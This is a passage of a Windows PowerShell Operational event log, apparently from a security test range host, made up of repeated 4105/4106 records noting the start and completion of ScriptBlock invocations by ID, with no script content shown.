Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038863
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038841
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038839
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038838
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038821
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038815
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
